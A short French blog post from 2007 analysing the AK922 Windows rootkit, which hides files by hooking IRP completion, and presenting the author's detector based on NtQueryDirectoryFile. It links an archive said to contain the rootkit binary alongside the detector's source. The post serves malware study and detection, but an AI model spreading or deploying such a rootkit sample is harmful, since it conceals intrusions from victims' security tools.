Je n’ai pas réussi à comprendre entièrement le fonctionnement de la fonction HandleIRPCompletion. Mais je peux dire que l’auteur n’avait pas oublié de gérer correctement les InformationClass FileFullDirectoryInformation et FileNamesInformation je pense qu’il aurait été vraiment très dur de le détecter.
En tout cas, RkUnhooker, Darkspy (les meilleurs anti-rk que je connaisse) et même Winhex ne le détectent pas !
Mon detecteur, fonctionne un peu comme celui de Rutkowska, Flister, en utilisant l’InformationClass FileNamesInformati avec l’API NtQueryDirectoryFile.
Bref je vous fournis dans le .rar le binaire, le .idb, la source et le binaire du détecteur.
http://ivanlef0u.fr/repo/ak922.rar
ref:
http://translate.google.com/translate?u=http%3A%2F%2Fblog.sina.com.cn%2Fs%2Fblog_4df3a09101000awi.html&langpair=zh%7Cen&hl=fr&ie=UTF-8&oe=UTF-8&prev=%2Flanguage_tools
http://www.rootkit.com/board.php?thread=11014&did=edge0&disp=11014
http://www.google.fr/search?q=AK922.sys&ie=utf-8&oe=utf-8
septembre 2nd, 2007
Next Posts
Previous Posts